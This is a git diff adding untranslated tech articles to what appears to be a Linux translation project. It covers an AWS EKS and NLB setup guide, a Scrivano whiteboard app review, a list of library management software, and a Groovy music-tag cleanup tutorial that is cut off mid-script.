+[26]: https://ostechnix.com/wp-content/uploads/2022/08/Host-Overview.png +[27]: https://ostechnix.com/wp-content/uploads/2022/08/Users.png +[28]: https://ostechnix.com/wp-content/uploads/2022/08/Environments.png +[29]: http://www.portainer.io/ +[30]: https://github.com/portainer/portainer diff --git a/sources/tech/20220829 How to Setup EKS Cluster along with NLB on AWS.md b/sources/tech/20220829 How to Setup EKS Cluster along with NLB on AWS.md new file mode 100644 index 0000000000..e5c7041c60 --- /dev/null +++ b/sources/tech/20220829 How to Setup EKS Cluster along with NLB on AWS.md @@ -0,0 +1,283 @@ +[#]: subject: "How to Setup EKS Cluster along with NLB on AWS" +[#]: via: "https://www.linuxtechi.com/how-to-setup-eks-cluster-nlb-on-aws/" +[#]: author: "Pradeep Kumar https://www.linuxtechi.com/author/pradeep/" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +How to Setup EKS Cluster along with NLB on AWS +====== +Are looking for an easy guide for setting up EKS cluster on AWS? + +The step-by-step guide on this page will show you how to setup EKS cluster along with NLB (Network Load Balancer) on AWS from the scratch. + +Amazon EKS is elastic Kubernetes service; it has basically two components control plane and worker nodes. Let’s deep dive into the steps + +### 1) Create VPC for EKS Cluster + +Login to your AWS console, create a VPC with two public and private subnets in two different availability zones. + +Also create Internet gateway,  nat gateway and add routes to public and private subnet’s route table respectively. + +Refer following for creating VPC, + +* [How to Configure your own VPC(Virtual Private Cloud) in AWS][1] + +In my case, I have created following VPC, subnets, internet & nat gateway and route tables. + +![VPC-for-EKS-Cluster][2] + +### 2) Install and Configure AWS CLI, eksctl and kubectl + +Create a virtual machine either on your on-premises or on AWS. Make sure internet connectivity is there on that virtual machine. In my case, I have created a Ubuntu 22.04 virtual machine. + +Login to the virtual machine and install AWS cli using the following steps, + +``` +$ curl "https://awscli.amazonaws.com/awscli-exe-linux-x86_64.zip" -o "awscliv2.zip" +$ unzip awscliv2.zip +$ sudo ./aws/install +``` + +Get you account’s access and secret key from AWS console. + +![AWS-Account-Access-Secret-Keys][3] + +Now, run following command to configure AWS CLI, + +``` +$ aws configure +``` + +It will prompt you to enter Access Key and Secret Key. + +![AWS-Cli-configure-Ubuntu-22-04][4] + +Once above command is executed successfully then it will create two files under .aws folder, + +* Config +* Credentials + +Run following command to test aws cli, + +``` +$ aws sts get-caller-identity +{ +    "UserId": "xxxxxxxxxxxx", +    "Account": "xxxxxxxxxx", +    "Arn": "arn:aws:iam::xxxxxxxxxxx:root" +} +$ +``` + +We will be using eksctl command line utility to configure Amazon EKS cluster, so run following set of commands to install it. + +``` +$ curl --silent --location "https://github.com/weaveworks/eksctl/releases/latest/download/eksctl_$(uname -s)_amd64.tar.gz" | tar xz -C /tmp +$ sudo mv /tmp/eksctl /usr/local/bin +$ eksctl version +0.109.0 +$ +``` + +Kubectl is also a command line tool which will allow us to interact with eks cluster. For it’s installation, run beneath commands one after the another + +``` +$ curl -LO "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl" +$ sudo install -o root -g root -m 0755 kubectl /usr/local/bin/kubectl +$ kubectl version --client +``` + +![kubectl-install-for-eks-ubuntu][5] + +Perfect, we are ready now to create EKS cluster using eksctl utility. + +Copy public and private subnet’s ids of your VPC from VPC console. We would be using these ids in cluster yaml file. + +![Subnet-Ids-VPC-Console-AWS][6] + +### 3) Create EKS Cluster with eksctl utility + +Create a cluster yaml file on your virtual machine with the following content, + +``` +$ vi demo-eks.yaml +apiVersion: eksctl.io/v1alpha5 +kind: ClusterConfig +metadata: +  name: demo-eks +  region: us-west-2 +vpc: +  subnets: +    private: +      us-west-2a: { id: subnet-077d8aa1452f14836 } +      us-west-2b: { id: subnet-0131b18ab955c0c85 } +    public: +      us-west-2a: { id: subnet-0331b5df019a333b5 } +      us-west-2b: { id: subnet-0f92db1ada42abde3 } + +nodeGroups: +  - name: ng-workers +    labels: { role: workers } +    instanceType: t2.micro +    desiredCapacity: 2 +    privateNetworking: true +    iam: +      withAddonPolicies: +        imageBuilder: true +    ssh: +      publicKeyPath: /home/linuxtechi/.ssh/id_rsa.pub +``` + +![eks-cluster-yaml-file][7] + +Here we are using public subnets for control plane and private subnets for worker nodes. It will also automatically create IAM roles and security group for control plane and worker nodes. + +Apart from this we are also using a node group named ‘ng-workers’ for worker nodes with desired capacity two and instance type as ‘t2.micro’. Moreover, we have mentioned ‘linuxtechi’ user’s public key so that we can ssh worker nodes. + +Note: Please change these parameters as per your setup. + +Run following eksctl command to initiate EKS cluster setup, + +``` +$ eksctl create cluster -f demo-eks.yaml +``` + +![eksctl-create-cluster-aws][8] + +Once the cluster is setup successfully, we will get the following output, + +![EKS-Cluster-Ready-Message-AWS][9] + +Great, output above confirms that EKS cluster is ready. Run following kubectl command to view status of worker nodes, + +``` +$ kubectl get nodes +``` + +![EKS-Cluster-Nodes-Kubectl-Command][10] + +Head back to AWS console, verify the EKS cluster status + +![EKS-Cluster-Status-AWS-Console][11] + +Now, let’s deploy ingress controller along with NLB so that application from this cluster is accessible from outside. + +### 4) Deploy Ingress Controller and NLB + + +We will be deploying nginx based ingress controller, download the following yaml file using wget command + +``` +$ wget https://raw.githubusercontent.com/kubernetes/ingress-nginx/main/deploy/static/provider/aws/deploy.yaml +``` + +Change the parameter ‘externalTrafficPolicy: Local’ to ‘externalTrafficPolicy: Cluster’ + +Note: This yaml file has the required entries of nginx ingress controller and AWS NLB. + +``` +$ sed  -i 's/externalTrafficPolicy: Local/externalTrafficPolicy: Cluster/g' deploy.yaml +``` + +Execute following kubectl command to deploy ingress controller and NLB, + +``` +$ kubectl create -f deploy.yaml +``` + +Output, + +![deploy-yaml-file-ingress-nlb-aws][12] + +To verify the status of ingress controller, run following commands, + +``` +$ kubectl get ns +$ kubectl get all -n ingress-nginx +``` + +Output, + +![Ingress-Controller-Status-AWS-EKS][13] + +Head back to AWS console and check NLB status which is created via deploy.yaml file. + +![NLB-for-EKS-AWS-Console][14] + +Perfect, above confirms that NLB has been setup properly for EKS cluster. + +### 5) Test EKS Cluster Installation + +To test eks cluster installation, let’s deploy a nginx based deployment, run + +``` +$ kubectl create deployment nginx-web --image=nginx --replicas=2 +``` + +Create the service for deployment, run + +``` +$ kubectl expose deployment nginx-web --name=nginx-web --type=LoadBalancer --port=80 --protocol=TCP +``` + +View Service status, + +``` +$ kubectl get svc nginx-web +``` + +Output of above commands would look like below: + +![Nginx-Based-Deployment-EKS-AWS][15] + +To access the application, copy the URL shown in service command, + +http://ad575eea69f5044f0ac8ac8d5f19b7bd-1003212167.us-west-2.elb.amazonaws.com + +![Nginx-Default-Page-deployment-eks-aws][16] + +Great, above nginx page confirms that we are able to access our nginx based deployment outside of our EKS cluster. + +Once you are done with all the testing and wants to remove the NLB and EKS cluster, run following commands, + +``` +$ kubectl delete -f deploy.yaml +$ eksctl delete cluster -f demo-eks.yaml +``` + +That’s all from this guide, I hope you are able to deploy EKS cluster on your AWS account. Kindly do post your queries and feedback in below comments section. + +Also Read: How to Create VPC Peering Across Two AWS Regions + +-------------------------------------------------------------------------------- + +via: https://www.linuxtechi.com/how-to-setup-eks-cluster-nlb-on-aws/ + +作者:[Pradeep Kumar][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.linuxtechi.com/author/pradeep/ +[b]: https://github.com/lkxed +[1]: https://www.linuxtechi.com/how-to-configure-vpc-in-aws/ +[2]: https://www.linuxtechi.com/wp-content/uploads/2022/08/VPC-for-EKS-Cluster.gif +[3]: https://www.linuxtechi.com/wp-content/uploads/2022/08/AWS-Account-Access-Secret-Keys.png +[4]: https://www.linuxtechi.com/wp-content/uploads/2022/08/AWS-Cli-configure-Ubuntu-22-04.png +[5]: https://www.linuxtechi.com/wp-content/uploads/2022/08/kubectl-install-for-eks-ubuntu.png +[6]: https://www.linuxtechi.com/wp-content/uploads/2022/08/Subnet-Ids-VPC-Console-AWS.png +[7]: https://www.linuxtechi.com/wp-content/uploads/2022/08/eks-cluster-yaml-file.png +[8]: https://www.linuxtechi.com/wp-content/uploads/2022/08/eksctl-create-cluster-aws.png +[9]: https://www.linuxtechi.com/wp-content/uploads/2022/08/EKS-Cluster-Ready-Message-AWS.png +[10]: https://www.linuxtechi.com/wp-content/uploads/2022/08/EKS-Cluster-Nodes-Kubectl-Command.png +[11]: https://www.linuxtechi.com/wp-content/uploads/2022/08/EKS-Cluster-Status-AWS-Console.gif +[12]: https://www.linuxtechi.com/wp-content/uploads/2022/08/deploy-yaml-file-ingress-nlb-aws.png +[13]: https://www.linuxtechi.com/wp-content/uploads/2022/08/Ingress-Controller-Status-AWS-EKS.png +[14]: https://www.linuxtechi.com/wp-content/uploads/2022/08/NLB-for-EKS-AWS-Console.gif +[15]: https://www.linuxtechi.com/wp-content/uploads/2022/08/Nginx-Based-Deployment-EKS-AWS.png +[16]: https://www.linuxtechi.com/wp-content/uploads/2022/08/Nginx-Default-Page-deployment-eks-aws.png diff --git a/sources/tech/20220829 Scrivano- Fascinating Whiteboard App For Handwritten Notes.md b/sources/tech/20220829 Scrivano- Fascinating Whiteboard App For Handwritten Notes.md new file mode 100644 index 0000000000..e0c6ddfb57 --- /dev/null +++ b/sources/tech/20220829 Scrivano- Fascinating Whiteboard App For Handwritten Notes.md @@ -0,0 +1,110 @@ +[#]: subject: "Scrivano: Fascinating Whiteboard App For Handwritten Notes" +[#]: via: "https://www.debugpoint.com/scrivano/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +Scrivano: Fascinating Whiteboard App For Handwritten Notes +====== +Let’s find out what are the cool features of Scrivano – a whiteboard app for Linux systems. + +### Scrivano + +Scrivano is a new whiteboard application which recently getting some attention for its unique features and “ease of use”. It has some seriously cool feature which I will talk about shortly. + +When I write about the [top Whiteboard applications][1] for taking hand written notes using touch devices, I was not aware of this application since it was probably under development. In that article, I mentioned about the major apps which you all know about. + +For example, Xournal++ is probably the most used and “go to” app for taking quick notes using stylus in supported devices. Another GTK & Rust based app which recently became famous is Rnote. It also has some excellent features. + +Now, you can try out another cool app – Scrivano. It is a Qt based application and comes with a simple user interface for utmost productivity. + +Here’s how it looks. + +![Scrivano – How it looks][2] + +At the top bar, you have a simple toolbox with standard options such as Pencil with thickness, colours, fill area tools, eraser, undo, redo and so on. These are pretty common among all the apps in this category. + +But what are the features that make it stand apart? Let’s talk about them. + +### Features + +First feature which is unique is the “Snap to Grid”. So, when you draw on its grid canvas, you can set your drawings to snap to the grids so that it looks uniform. This is one of the best feature which makes your notes look professional. Don’t worry about your bad handwriting or drawings. + +Here’s a quick look on the “snap to grid” feature with comparison. + +![Snap to Grip feature][3] + +Another feature which stand out is the Sticker creation of your drawings. Say, you are taking some math notes and you want to reuse one of the curve multiple times. You can select the drawing and make it a sticker – which you can put it back to your drawing! + +![Stickers in Scrivano][4] + +The editing options are so good that the only limitation is your imagination in terms of note taking. + +For example, you can select and move around any part of your drawing as a separate object. Then you can clone it, copy it or do anything you want. + +Similarly, the fill stroke feature is so effortless. When you are drawing with pen, the app can close the start and end point. Then it fills with colours. All of these happens without choosing additional option from toolbar. + +Scrivano have a nice option called Laser which is effective if you are teaching someone via screen sharing or recording a tutorial video. Its a laser-like line which you can draw and it disappears with 3 to 5 seconds. + +![][5] + +Other noteworthy features include: + +* You can import and annotate PDF which it super useful. +* Different and customizable background with options – Plain, Lined, Grid or Dotted +* Options to change grid spacing, colour of canvas and patterns +* You can adjust canvas size for your printing (such as A4 etc) +* Export to PDF and other image formats +* Scrivano comes with Auto save option so that you don’t lose your data (saves in home directory by default) +* Insert external images into your handwritten notes +* Dark mode in UI + +You should be glad knowing that, the developer is still working on additional features as we speak on top the above items. I’m sure it will be a contender to the legacy players such as Xournal++ and others. + +Let’s see how you can install. + +### Download and Install + +The best way to install Scrivano is using Flatpak. All you need to do is set up your system for [Flatpak with Flathub][6] and then run the following command to install. + +``` +flatpak install flathub com.github.scrivanolabs.scrivano +``` + +Then you can launch it via application menu. + +Windows folks, you can grab the installer from the [official home page.][7] + +It is indeed a nice utility and should get all the love. Do let me know in the comment box what you like about this app. + +Cheers. + +[Next: Crystal Linux: Emerging Arch Linux Spin for GNOME Fans][8] + +![Join our Telegram channel and stay informed on the move.][9] + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/scrivano/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://www.debugpoint.com/top-whiteboard-applications-linux/ +[2]: https://www.debugpoint.com/wp-content/uploads/2022/08/Scrivano-How-it-looks.jpg +[3]: https://www.debugpoint.com/wp-content/uploads/2022/08/Snap-to-Grip-feature.gif +[4]: https://www.debugpoint.com/wp-content/uploads/2022/08/Stickers-in-Scrivano.jpg +[5]: https://www.debugpoint.com/wp-content/uploads/2022/08/Scrivano-Fill-and-Laser-Method.mp4 +[6]: https://www.debugpoint.com/how-to-install-flatpak-apps-ubuntu-linux/ +[7]: https://scrivanolabs.github.io/ +[8]: https://www.debugpoint.com/crystal-linux-first-look/ +[9]: https://t.me/debugpoint diff --git a/sources/tech/20220830 7 Best Open Source Library Management Software.md b/sources/tech/20220830 7 Best Open Source Library Management Software.md new file mode 100644 index 0000000000..2de07e45f4 --- /dev/null +++ b/sources/tech/20220830 7 Best Open Source Library Management Software.md @@ -0,0 +1,206 @@ +[#]: subject: "7 Best Open Source Library Management Software" +[#]: via: "https://itsfoss.com/open-source-library-management-software/" +[#]: author: "Sagar Sharma https://itsfoss.com/author/sagar/" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +7 Best Open Source Library Management Software +====== + +Sometimes managing a digital library gives you peace of mind as you do not need to make many efforts to maintain it. Usually, easy to organize, and can be backed up as well. + +When it comes to managing the library, the library management software can make a world of difference. It can break or make your digital library management experience. + +And, with open-source library management software, an organization/library can save investment costs, have better privacy, and have more flexibility without any vendor lock-ins. + +So, I came up with the compilation of open-source library management software to provide you with some good options to help manage your digital library. You can use some tools for personal use-case, but many of them are geared toward public libraries. + +### 1. Koha + +![koha][1] + +**Key** **Features of Koha:** + +* An enterprise-grade library management software. +* Supports multiple languages. +* Powerful text search and enhanced catalog display. +* Built using standard library protocols to ensure interpretability between Koha and other library systems. +* Web-based UI. +* No vendor lock-in. + +[Koha][2] is a well-known name when it comes to library management software, and it is considered the best of what you can get for your library. You may ask why. It handles everything like a charm, from backups and maintenance to system upgrades! + +Being a truly enterprise-grade system, you’d get modules to manage circulation, cataloging, serials management, authorities, flexible reporting, label printing, and a lot more. + +So, you can utilize Koha for small size to multi-branch libraries. + +[Koha][3] + +### 2. Evergreen + +![evergreen][4] + +**Key features of Evergreen** + +* Flexibility and scalability. +* Has self-registration and self-checkout options. +* Allows making desired changes in the catalog. +* Multiple payment options. +* Powerful search functionality. +* Allows you to retain a history of borrowed books. + +[Evergreen][5] is a library integrated system that was initially developed for Public Information Network for Electronic Services (PINES) but it also powers more than 1800 libraries outside PINES. + +Being scalable to its core, you can easily manage an entire catalog of multiple branches. It also offers good search functionality along with some interesting features. + +[Evergreen][6] + +### 3. BiblioteQ + +![biblioteq][7] + +**Key features of BiblioteQ** + +* Supports ARM & Power PC. +* User-friendly interface. +* Apart from books, it also supports DVDs, Music CDs, photos, and even video games. +* Pushes notifications for unavailable items. +* Supports drag and drop for cover images. + +“It’s quite simple and straightforward” This was my initial impression while testing BiblioteQ for this list. But, don’t get fooled by its user interface. + +[BiblioteQ][8] is a professional archiving, cataloging, and library management software that utilizes Qt for an eye-pleasant user interface. Furthermore, it uses PostgreSQL and SQLite for the databases. + +While speaking of connectivity, it uses Open Library, SRU, and Z39.50 protocols to have a seamless experience while retrieving books and other archive options. + +[BiblioteQ][9] + +### 4. OPALS + +![opals][10] + +**Key Features of OPALS:** + +* Web-based and mobile friendly. +* Minimal cost. +* Professional development, management, and support. +* Market leader for school libraries and academic libraries. +* Online public access catalog. +* Subscription Database management. +* Digital archive management. +* Support for Circulation and inventory management. +* Hosted servers automated updates, meaning no additional hardware cost nor maintenance by your side. + +According to the 2022’s [international survey of library automation][11], OPALS (Open-source Automated Library System) has scored highest in every single category among school libraries and small academic library programs. + +[OPALS][12] is used in more than 2000 libraries daily as it provides a full-fledged automated library management experience. + +It is a paid tool that provides you technical support for installation, management, hosting, and other purposes. If you are looking for something for your academy/institution this can be a good fit. + +OPALS also provides a [3-month free demo site for your library][13], so you can have a better idea of what to expect from the asked price. + +[OPALS][14] + +### 5. InvenioILS + +![InvenioILS][15] + +**Key Features of InvenioILS**: + +* Modern UI. +* Acquisition and simple interlibrary loan modules to have a better track of items. +* Uses REST API meaning, better integrations with other systems. +* Circulations can be easily managed through a few clicks. +* Powerful cataloging system based on JSON schema. +* Easy-to-use back office tools, meaning listing, searching, or even getting details of specific items will be easy. + +[Invenio’s ILS][16] (Integrated Library System) uses the Invenio framework, which is made up of widely used open-source products including Python and React frameworks. + +So if you have the technical expertise, there will be no boundaries on customization and enhancements that you can do with the default base. + +[InvenioILS][17] + +### 6. SLiMS + +![slims][18] + +**Key features of SLiMS:** + +* Utility to generate Barcodes. +* Responsive UI. +* Allows creating Union Catalog creation using Union Catalog Server. +* Membership management. +* Database backup utility. +* Master files management to manage referential data such as Publishers, Authors, and Locations. +* For Bibliography, you get faster input with peer-to-peer copy cataloging. +* Manage your patrons with instant library card allocation. + +[SLiMS][19] (Senayan Library Management System) is nothing but an Apache web server bundled with MySQL and PHP, and the outcome is an extremely powerful community-driven library management toolkit. + +From serial publication control to system modules providing extreme flexibility, SLiMS has a lot to offer. + +[SLiMS][20] + +### 7. FOLIO + +![folio][21] + +**Key features of FOLIO:** + +* Wide range of inventory management features including cataloging and bibliographic management. +* Manage vendors, budgets, orders, and invoicing while receiving materials. +* Efficient user management. +* Different patron types, loan types, fines, and fee structures are also supported. + +FOLIO (Future of Libraries is Open) can be considered the best option in terms of user experience, as the community thrives to bring the best out of UI/UX elements. + +As with any other library management software, you’d get all the basic features such as circulation, acquisitions, cataloging, and e-resources management. + +You also get a nice feature to manage multiple users, patron types, fee structures, and more. + +[FOLIO][22] + +### Digital Library Management Sounds Fun! + +In this list, I’ve only considered the ones that are actively maintained. There might be more that you can explore (but with no recent development activity). + +*Did I miss any of your favorites? You are welcome to share your personal experience with library management software.* + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/open-source-library-management-software/ + +作者:[Sagar Sharma][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/sagar/ +[b]: https://github.com/lkxed +[1]: https://itsfoss.com/wp-content/uploads/2022/08/koha-1.png +[2]: https://koha-community.org/ +[3]: https://koha-community.org/download-koha/ +[4]: https://itsfoss.com/wp-content/uploads/2022/08/evergreen.png +[5]: https://evergreen-ils.org/ +[6]: https://evergreen-ils.org/egdownloads/ +[7]: https://itsfoss.com/wp-content/uploads/2022/08/biblioteq.png +[8]: https://biblioteq.sourceforge.io/ +[9]: https://github.com/textbrowser/biblioteq/releases +[10]: https://itsfoss.com/wp-content/uploads/2022/08/opals.png +[11]: https://librarytechnology.org/perceptions/2021/#top-performers +[12]: https://opalsinfo.net/ +[13]: https://mail.google.com/mail/?view=cm&fs=1&tf=1&source=mailto&su=Request+for+OPALS+information&to=info@opals-na.org&body=Institution+Name:%0D%0A%0ACity:%0D%0A%0AState+or+Prov.:%0D%0A%0AContact:%0D%0A%0APosition:%0D%0A%0AEmail:%0D%0A%0ACollection+size:%0D%0A%0ANumber+of+members:%25+ +[14]: https://en.bibliofiche.com/showcase.jsp?n=OPALS%99&product_number=F05800 +[15]: https://itsfoss.com/wp-content/uploads/2022/08/ils.png +[16]: https://inveniosoftware.org/products/ils/ +[17]: https://inveniosoftware.org/products/ils/ +[18]: https://itsfoss.com/wp-content/uploads/2022/08/slims.png +[19]: https://slims.web.id/web/ +[20]: https://github.com/slims/slims9_bulian/releases +[21]: https://itsfoss.com/wp-content/uploads/2022/08/folio.png +[22]: https://github.com/folio-org diff --git a/sources/tech/20220830 Clean up music tags with a Groovy script.md b/sources/tech/20220830 Clean up music tags with a Groovy script.md new file mode 100644 index 0000000000..d2c6f2f954 --- /dev/null +++ b/sources/tech/20220830 Clean up music tags with a Groovy script.md @@ -0,0 +1,388 @@ +[#]: subject: "Clean up music tags with a Groovy script" +[#]: via: "https://opensource.com/article/22/8/groovy-script-music-tags" +[#]: author: "Chris Hermansen https://opensource.com/users/clhermansen" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +Clean up music tags with a Groovy script +====== +I demonstrate a Groovy script to clean up the motley assembly of tag fields. + +Lately, I've been looking at how Groovy streamlines Java. In this series, I'm developing several scripts to help in cleaning up my music collection. In my last article, I used the framework developed previously to create a list of unique file names and counts of occurrences of those file names in the music collection directory. I then used the Linux `find` command to get rid of files I didn't want. + +In this article, I demonstrate a Groovy script to clean up the motley assembly of tag fields. + +WARNING: This script alters music tags, so it is vital that you make a backup of the music collection you test your code on. + +### Back to the problem + +If you haven't read the previous articles is this series, do that now before continuing so you understand the intended structure of the music directory, the framework I've created, and how to detect and use FLAC, MP3, and OGG files. + +* [How I analyze my music directory with Groovy][2] +* [My favorite open source library for analyzing music files][3] +* [How I use Groovy to analyze album art in my music directory][4] +* [Clean up unwanted files in your music directory using Groovy][5] + +### Vorbis and ID3 tags + +I don't have many MP3 music files. Generally, I prefer to use FLAC. But sometimes only MP3 versions are available, or a free MP3 download comes with a vinyl purchase. So in this script, I have to be able to handle both. One thing I've learned as I have become familiar with [JAudiotagger][6] is what ID3 tags (used by MP3) look like, and I discovered that some of those "unwanted" field tag IDs I uncovered in part 2 of this series are actually very useful. + +Now it's time to use this framework to get a list of all the tag field IDs in a music collection, with their counts, to begin deciding what belongs and what doesn't: + +``` +1        @Grab('net.jthink:jaudiotagger:3.0.1') +2        import org.jaudiotagger.audio.* +3        import org.jaudiotagger.tag.* +4        def logger = java.util.logging.Logger.getLogger('org.jaudiotagger'); +5        logger.setLevel(java.util.logging.Level.OFF); +6        // Define the music library directory +7        def musicLibraryDirName = '/var/lib/mpd/music' +8        // Define the tag field id accumulation map +9        def tagFieldIdCounts = [:] +10        // Print the CSV file header +11        println "tagFieldId|count" +12        // Iterate over each directory in the music libary directory +13        // These are assumed to be artist directories +14        new File(musicLibraryDirName).eachDir { artistDir -> +15            // Iterate over each directory in the artist directory +16            // These are assumed to be album directories +17            artistDir.eachDir { albumDir -> +18                // Iterate over each file in the album directory +19                // These are assumed to be content or related +20                // (cover.jpg, PDFs with liner notes etc) +21                albumDir.eachFile { contentFile -> +22                    // Analyze the file and print the analysis +23                    if (contentFile.name ==~ /.*\.(flac|mp3|ogg)/) { +24                        def af = AudioFileIO.read(contentFile) +25                        af.tag.fields.each { tagField -> +26                            tagFieldIdCounts[tagField.id] = tagFieldIdCounts.containsKey(tagField.id) ? tagFieldIdCounts[tagField.id] + 1 : 1 +27                        } +28                    } +29                } +30            } +31        } +32        tagFieldIdCounts.each { key, value -> +33            println "$key|$value" +34        } +``` + +Lines 1-7 originally appeared in part 2 of this series. + +Lines 8-9 define a map for accumulating tag field IDs and counts of occurrences. + +Lines 10-21 also appeared in previous articles. They get down to the level of the individual content files. + +Lines 23-28 ensures that the files being used are FLAC, MP3, or OGG. Line 23 uses a Groovy match operator `==~` with a slashy regular expression to filter out wanted files. + +Line 24 uses `org.jaudiotagger.audio.AudioFileIO.read()` to get the tag body from the content file. + +Lines 25-27 use `org.jaudiotagger.tag.Tag.getFields()` to get all the `TagField` instances in the tag body and the Groovy `each()` method to iterate over that list of instances. + +Line 27 accumulates the count of each `tagField.id` into the `tagFieldIdCounts` map. + +Finally, lines 32-24 iterate over the `tagFieldIdCounts` map printing out the keys (the tag field IDs found) and the values (the count of occurrences of each tag field ID). + +I run this script as follows: + +``` +$ groovy TagAnalyzer5b.groovy > tagAnalysis5b.csv +``` + +Then I load the results into a [LibreOffice][7] or [OnlyOffice][8] spreadsheet. In my case, this script takes quite a long time to run (several minutes) and the loaded data, sorted in descending order of the second column (count) looks like this: + +![Image of a screenshot of the first few row of tagAnalysis in LibreOffic Calc][9] + +Image by: (Chris Hermansen, CC BY-SA 4.0) + +On row 2, you can see that there are 8,696 occurrences of the TITLE field tag ID, which is the ID that FLAC files (and Vorbis, generally) uses for a song title. Down on row 28, you also see 348 occurrences of the TIT2 field tag ID, which is the ID3 tag field that contains the "actual" name of the song. At this point, it's worth going away to look at [the JavaDoc][10] for `org.jaudiotagger.tag.ide.framebody.FrameBodyTIT2` to learn more about this tag and the way in which JAudiotagger recognizes it. There, you also see the mechanisms to handle other ID3 tag fields. + +In that list of field tag IDs, there are lots that I'm not interested in and that could affect the ability of various music players to display my music collection in what I consider to be a reasonable order. + +### The org.jaudiotagger.tag.Tag interface + +I'm going to take a moment to explore the way JAudiotagger provides a generic mechanism to access tag fields. This mechanism is described in [the JavaDocs][11] for `org.jaudiotagger.tag.Tag`. There are two methods that would help clean up the tag field situation: + +``` +void setField(FieldKey genericKey,String value) +``` + +This is used to set the value for a particular tag field. + +This line is used to delete all instances of a particular tag field (turns out some tag fields in some tagging schemes permit multiple occurrences). + +``` +void deleteField(FieldKey fieldKey) +``` + +However, this particular `deleteField()` method requires us to supply a `FieldKey` value, and as I have discovered, not all field key IDs in my music collection correspond to a known `FieldKey` value. + +Looking around the JavaDocs, I see there's a `FlacTag` which "uses Vorbis Comment for most of its metadata," and declares its tag field to be of type `VorbisCommentTag`. + +`VorbisCommentTag` itself extends `org.jaudiotagger.audio.generic.AbstractTag`, which offers: + +``` +protected void deleteField(String key) +``` + +As it turns out, this is accessible from the tag instance returned by `AudioFileIO.read(f).getTag()`, at least for FLAC and MP3 tag bodies. + +In theory, it should be possible to do this: + +1. Get the tag body using +``` +def af = AudioFileIO.read(contentFile) +def tagBody = af.tag +``` +2. Get the values of the (known) tag fields I want using: +``` +def album = tagBody.getFirst(FieldKey.ALBUM) +def artist = tagBody.getFirst(FieldKey.ARTIST) +// etc +``` +3. Delete all tag fields (both wanted and unwanted) using: +``` +def originalTagFieldIdList = tagBody.fields.collect { tagField -> + tagField.id +} +originalTagFieldIdList.each { tagFieldId -> + tagBody.deleteField(tagFieldId) +} +``` +4. Put only the desired tag fields back: +``` +tagBody.setField(FieldKey.ALBUM, album) +tagBody.setField(FieldKey.ARTIST, artist) +// etc +``` + +Of course there are few wrinkles here. + +First, notice the use of the `originalTagFieldIdList`. I can't use `each()` to iterate over the iterator returned by `tagBody.getFields()` at the same time I modify those fields; so I get the tag field IDs into a list using `collect()`, then iterate over that list of tag field IDs to do the deletions. + +Second, not all files are going to have all the tag fields I want. For example, some files might not have `ALBUM_SORT_ORDER` defined, and so on. I might not wish to write those tag fields in with empty values. Additionally, I can probably safely default some fields. For example, if `ALBUM_ARTIST` isn't defined, I can set it to ARTIST. + +Third, and for me most obscure, is that Vorbis Comment tags always include a VENDOR field tag ID; if I try to delete it, I end up simply unsetting the value. Huh. + +### Trying it all out + +Considering these lessons, I decided to create a test music directory that contains just a few artists and their albums (because I don't want to wipe out my music collection.) + +WARNING: Because this script will alter music tags it is very important to have a backup of the music collection so that when I discover I have deleted an essential tag, I can recover the backup, modify the script and rerun it. + +Here's the script: + +``` +1        @Grab('net.jthink:jaudiotagger:3.0.1') +2        import org.jaudiotagger.audio.* +3        import org.jaudiotagger.tag.* +4        def logger = java.util.logging.Logger.getLogger('org.jaudiotagger');5        logger.setLevel(java.util.logging.Level.OFF); +6        // Define the music library directory +7        def musicLibraryDirName = '/work/Test/Music' +8        // Print the CSV file header +9        println "artistDir|albumDir|contentFile|tagField.id|tagField.toString()" +10        // Iterate over each directory in the music libary directory +11        // These are assumed to be artist directories +12        new File(musicLibraryDirName).eachDir { artistDir -> +13    // Iterate over each directory in the artist directory +14    // These are assumed o be album directories +15    artistDir.eachDir { albumDir -> +16    // Iterate over each file in the album directory +17    // These are assumed to be content or related18    // (cover.jpg, PDFs with liner notes etc) +19    albumDir.eachFile { contentFile -> +20        // Analyze the file and print the analysis +21        if (contentFile.name ==~ /.*\.(flac|mp3|ogg)/) { +22            def af = AudioFileIO.read(contentFile) +23            def tagBody = af.tag +24            def album = tagBody.getFirst(FieldKey.ALBUM) +25            def albumArtist = tagBody.getFirst(FieldKey.ALBUM_ARTIST) +26            def albumArtistSort = tagBody.getFirst(FieldKey.ALBUM_ARTIST_SORT) +27            def artist = tagBody.getFirst(FieldKey.ARTIST) +28            def artistSort = tagBody.getFirst(FieldKey.ARTIST_SORT) +29            def composer = tagBody.getFirst(FieldKey.COMPOSER) +30            def composerSort = tagBody.getFirst(FieldKey.COMPOSER_SORT) +31            def genre = tagBody.getFirst(FieldKey.GENRE) +32            def title = tagBody.getFirst(FieldKey.TITLE) +33            def titleSort = tagBody.getFirst(FieldKey.TITLE_SORT) +34            def track = tagBody.getFirst(FieldKey.TRACK) +35            def trackTotal = tagBody.getFirst(FieldKey.TRACK_TOTAL) +36            